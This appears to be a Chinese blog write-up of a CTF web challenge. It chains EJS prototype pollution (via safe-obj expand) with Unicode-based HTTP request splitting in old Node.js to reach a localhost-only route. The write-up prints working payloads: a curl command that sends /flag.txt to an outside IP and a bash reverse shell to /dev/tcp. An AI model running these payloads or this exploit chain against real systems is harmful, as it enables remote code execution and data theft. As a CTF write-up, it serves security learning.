NSS [西湖论剑 2022]real_ez_node

2023-09-16 18:54:22

NSS [西湖论剑 2022]real_ez_node

考点：ejs原型链污染、NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

开题。

image-20230906165645126

附件start.sh。flag位置在根目录下/flag.txt

image-20230906173223652

app.js(这个没多大用)

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间，单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

/routes/index.js（这个有用）

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应，但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

初略审计代码发现和ejs相关，又有常造成原型链污染的函数safeobj.expand()，safeobj.expand() 把接收到的东西给放到 user 里了猜测这里是ejs模板引擎污染。

细看源码，/routes/index.js文件中/copy路由要求我们从本地（127.0.0.1）访问并且过滤了__proto__。

image-20230906172449592

/routes/index.js文件中/curl有SSRF利用点。

image-20230906174152512

思路是通过/curl路由利用CRLF以本地（127.0.0.1）身份向/copy发送POST请求，然后打ejs污染原型链 实现代码执行。

首先是ejs污染原型链

原理见：

EJS, Server side template injection RCE (CVE-2022-29078) - writeup | ~#whoami

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

ejs版本<3.1.7都能打。查看package.json，版本是3.0.1，可以原型链污染RCE。

image-20230906223410602

__proto__被过滤，使用constructor.prototype绕过。

（实例对象）foo.__proto__ == （类）Foo.prototype

ejs原型链污染的payload如下（可以看作是payload模板，按题目需要改一下。）

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

image-20230906175510104

（不太确定是不是这样解释，打个标记下次跟一下源码研究研究）let user = {};，user的上一层就是Object，这里应该是污染一次就够了，一个__proto__。payload改成：

{
	"__proto__":{
		"outputFunctionName":"a=1; return 			global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
	}
}

safeobj模块里的expand方法， 直接递归按照 . 做分隔写入 obj，很明显可以原型链污染。也就是我们传入{“a.b”:“123”}会进行赋值a.b=123

绕过过滤+更改命令后，将污染ejs的payload按上述方式转换为：

{
    "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}

补充一下safeobj.expand()的底层源码，更好理解为什么是{"constructor.prototype.outputFunctionName"：这样写的，而不是{"constructor": {"prototype": {"outputFunctionName":

expand: function (obj, path, thing) {
      if (!path || typeof thing === 'undefined') {
        return;
      }
      obj = isObject(obj) && obj !== null ? obj : {};
      var props = path.split('.');
      if (props.length === 1) {
        obj[props.shift()] = thing;
      } else {
        var prop = props.shift();
        if (!(prop in obj)) {
          obj[prop] = {};
        }
        _safe.expand(obj[prop], props.join('.'), thing);
      }
    },

然后是HTTP响应拆分攻击(CRLF)

参考文章：
Security Bugs in Practice: SSRF via Request Splitting
NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击 - 知乎 (zhihu.com)
从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击_nssctf nodejs_shu天的博客-CSDN博客
【好文】初识HTTP响应拆分攻击（CRLF Injection）-安全客 - 安全资讯平台 (anquanke.com)

概述：

在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击，（Node.js10中被修复），当 Node.js 使用 http.get （关键函数）向特定路径发出HTTP 请求时，发出的请求实际上被定向到了不一样的路径，这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

原理：

Nodejs的HTTP库包含了阻止CRLF的措施，即如果你尝试发出一个URL路径中含有回车\r、换行\n或空格等控制字符的HTTP请求是，它们会被URL编码，所以正常的CRLF注入在nodejs中并不能利用。那就用非正常的。

对于不包含主体的请求，Node.js默认使用“latin1”，这是一种单字节编码字符集，不能表示高编号的Unicode字符，所以，当我们的请求路径中含有多字节编码的Unicode字符时，会被截断取最低字节，比如 \u0130 就会被截断为 \u30：

image-20230906214824864

当 Node.js v8 或更低版本对此URL发出 GET 请求时，它不会进行编码转义，因为它们不是HTTP控制字符：

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时，这些字符将分别被截断为 \r（%0d）和 \n（%0a）：

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

\u{010D}\u{010A} 这样的 string 被编码为 latin1 之后就只剩下了 \r\n，于是就能用来做请求拆分（CRLF）了，这就是非正常的CRLF。

结合原理实践一下。若原始请求数据如下：

GET / HTTP/1.1
Host: 47.101.57.72:4000
…………

当我们插入CRLF数据后，HTTP请求数据变成了：

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET HTTP/1.1
Host: 47.101.57.72:4000

所以我们可以构造的部分：

 HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET

手动构造太麻烦，上脚本吧。

payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

回归题目。

docker文件中可以看到 node版本是8.1.2（满足<=8），是存在http拆分攻击的(CRLF)。

image-20230906173404566

我们把上面的脚本改改：

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175

{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') 

print(payload)

千万要注意我们请求包的Content-Length。我这里为什么填175？因为我POST数据长度173，但是POST还包含了两个\n会被替换为两个\r\n，所以总长度要加2。当然，自己拿捏不准长度可以把请求放burp里面，burp重发器默认会自动帮你更新正确的Content-Length。

image-20230906224612676

image-20230906225324599

生成paylaod后发包：（一次出不来的话多发几次）

/curl?q=生成的payload URL编码

image-20230906232011407

image-20230906232017081

网上还有一种脚本，一把梭的。

import requests
import urllib.parse

payloads = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 174

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps-ip/port 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")


def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret

payloads = payload_encode(payloads)

print(payloads)
r = requests.get('http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payloads))
print(r.text)
更多推荐

5.2 磁盘CRC32完整性检测

CRC校验技术是用于检测数据传输或存储过程中是否出现了错误的一种方法，校验算法可以通过计算应用与数据的循环冗余校验（CRC）检验值来检测任何数据损坏。通过运用本校验技术我们可以实现对特定内存区域以及磁盘文件进行完整性检测，并以此来判定特定程序内存是否发生了变化，如果发生变化则拒绝执行，通过此种方法来保护内存或磁盘文件不

二十一、MySQL(多表)内连接、外连接、自连接实现

1、多表查询（1）基础概念：（2）多表查询的分类：2、内连接（1）基础概念：（2）隐式内连接：基础语法：select表1.name,表2.namefrom表1,表2where表1.外键=表2.被链接的字段;实际操作：#(1)查询每一个员工的姓名,以及关联的部门名称--隐式查询selectemp.name,course.

gulp 错误集锦

为了打包构建之前的layui写的项目，用到了gulp，但是遇到的坑还挺多，记录一下。1、运行gulp时报错ReferenceError:primordialsisnotdefined解决办法：ReferenceError:primordialsisnotdefined意思是primordials这个没被定义，是因为项目

Centos配置链路聚合bond的步骤

Centos配置链路聚合的步骤如下：查看网卡名称和状态Shell#nmclidevicestatus创建bond0网卡Shell#vi/etc/sysconfig/network-scripts/ifcfg-bond0DEVICE=bond0ONBOOT=yesBOOTPROTO=noneNM_CONTROLLED=n

prometheus+node+process-exporter+grafans

安装Prometheus要在Ubuntu18.04上安装Prometheus，您可以按照以下步骤进行：sudoapt-getupdate安装依赖：sudoapt-getinstallwgettar下载最新的Prometheus版本：wgethttps://github.com/prometheus/prometheus

第34章_瑞萨MCU零基础入门系列教程之SR04超声波测距实验

本教程基于韦东山百问网出的DShanMCU-RA6M5开发板进行编写，需要的同学可以在这里获取：https://item.taobao.com/item.htm?id=728461040949配套资料获取：https://renesas-docs.100ask.net瑞萨MCU零基础入门系列教程汇总：https://b

【Java 基础篇】Java类型通配符：解密泛型的神秘面纱

在Java中，类型通配符（TypeWildcard）是泛型的重要概念之一。它使得我们能够更加灵活地处理泛型类型，使代码更通用且可复用。本文将深入探讨Java类型通配符的用法、语法和最佳实践。什么是类型通配符？类型通配符是一个用问号?表示的通配符，它可以用于泛型类、方法和通配符边界。类型通配符的主要作用是让我们能够接受各

OpenCV之cvtColor颜色空间转换

大多数彩色图片都是RGB类型，但是在进行图像处理时，需要用到灰度图、二值图、HSV、HSI等颜色制式，opencv提供了cvtColor()函数来实现这些功能。首先看一下cvtColor函数定义：C++:voidcvtColor(InputArraysrc,OutputArraydst,intcode,intdstCn

PyTorch深度学习（一）【线性模型、梯度下降、随机梯度下降】

这个系列是实战（刘二大人讲的pytorch）建议把代码copy下来放在编译器查看（因为很多备注在注释里面）线性模型(LinearModel)：importnumpyasnpimportmatplotlib.pyplotasplt#绘图的包​x_data=[1.0,2.0,3.0]#这两行代表数据集，一般x_data,y

输电线路故障诊断（Python代码，逻辑回归、决策树、随机森林、XGBoost和支持向量机五种不同方法诊断）

效果视频：输电线路故障诊断（Python代码，逻辑回归、决策树、随机森林、XGBoost和支持向量机五种不同方法诊断）_哔哩哔哩_bilibili项目文件code.py装载的是英文版本，图上显示英文标签及坐标，Chinese.py装载的是中文版本，图上显示中文标签等等，以及每一行代码几乎都有中文注释。code.py和C

【学习笔记】POJ 3834 graph game

点这里结论题😅，图一乐结论：如果原图中存在两个边集不交的生成树，那么Bob\text{Bob}Bob必胜；否则Alice\text{Alice}Alice必胜证明有点难😅首先，考虑维护两颗不存在红边的生成树，如果Alice\text{Alice}Alice断掉了其中一颗树上的一条边，将这个树分成两个连通块，那么Bo

热文推荐
  1. 企业微信-通用开发参数回调设置

    公司业务需要开发企业微信，注册三方服务商审核通过后，开始配置开发信息。本篇中记录在调试url验证中遇到错误及解决方式。目录准备工作下载php加解密库下载文件说明设置白名单设置路径参数说明设置ip回调处理回调类型：1、Get类型2、Post类型Get回调实现设置路由控制器业务层处理配置开发信息遇到问题发现问题解决方案准备

  2. 学习路之工具--SecureCRT的下载、安装

    百度盘：链接:https://pan.baidu.com/s/1r3HjEj053cKys54DTqLM4A?pwd=gcac提取码:gcac复制这段内容后打开百度网盘手机App，操作更方便哦感谢大佬简单介绍下SecureCRTSecureCRT是一款支持SSH（SSH1和SSH2）的终端仿真程序，简单地说是Windo

  3. 小米云原生文件存储平台化实践：支撑 AI 训练、大模型、容器平台多项业务

    小米作为全球知名的科技巨头公司，已经在数百款产品中广泛应用了AI技术，这些产品包括手机、电视、智能音箱、儿童手表和翻译机等。这些AI应用主要都是通过小米的深度学习训练平台完成的。在训练平台的存储方案中，小米曾尝试了多种不同的存储方式，包括Ceph+NFS、HDFS和对象存储挂载等。然而，这些不同的存储方式导致了数据冗余

  4. SpringCloud Gateway搭建Gateway 微服务应用实例

    😀前言本篇博文是关于SpringCloudGateway搭建Gateway微服务应用实例，希望你能够喜欢🏠个人主页：晨犀主页🧑个人简介：大家好，我是晨犀，希望我的文章可以帮助到大家，您的满意是我的动力😉😉💕欢迎大家：这里是CSDN，我总结知识的地方，欢迎来到我的博客，感谢大家的观看🥰如果文章有什么需要改进

  5. Linux系统命令——通过端口确认进程及路径方法

    一、端口概念在网络技术中，端口（port）大致有两种意思：一是物理意义上的端口比如，ADSLModem、集线器、交换机、路由器用于连接其他网络设备的接口，如RJ-45端口、SC端口等等。二是逻辑意义上的端口，一般是指TCP/IP协议中的端口，端口号的范围从0到65535，比如用于浏览网页服务的80端口，用于FTP服务的

  6. 软件测试缺陷报告详解

    【软件测试行业现状】2023年了你还敢学软件测试？未来已寄..测试人该何去何从？【自动化测试、测试开发、性能测试】缺陷报告是描述软件缺陷现象和重现步骤地集合。软件缺陷报告SoftwareBugReport（SBR）或软件问题报告SoftwareProblemReport（SPR）作用：缺陷报告是软件测试人员的工作成果之

  7. 若依使用及源码解析（前后端分离版）

    部署环境JDK>=1.8MYSQL>=5.7Maven>=3.0Node>=12Redis>=3运行若依项目下载若依源码若依官网若依项目源码(前后端分离)运行后端项目ruoyi-ui就是vue项目（这里使用vscode打开）整体用idea打开1.配置数据库(sql提供sql文件中的sql脚本配置)创建数据库ruoyi_

  8. Web安全与攻防

    Web安全概述在Internet大众化及Web技术飞速演变的今天，在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升，以及基于Web的攻击和破坏的增长，安全风险达到了前所未有的高度。Web安全可以从以下三个方面进行考虑：Web服务器的安全、Web客户端的安全、Web通信信道的安全。针对Web服务器的攻击可

  9. 从HTTP到HTTPS:网站安全通信的演进之路

    HTTP协议与TCP/IP协议族内的其他协议相同部分，用于客户端和服务器端的通信。下面来看一下HTTP具体是怎么工作的。1、HTTP前生今世在HHTP/0.9版本，主要是通过确立了客户端请求、服务器端响应的通信流程来解决HTML文件传输，只能获取文本资源。HTTP/1.0是一个简单的文本协议，通过设立头部字段来解决不同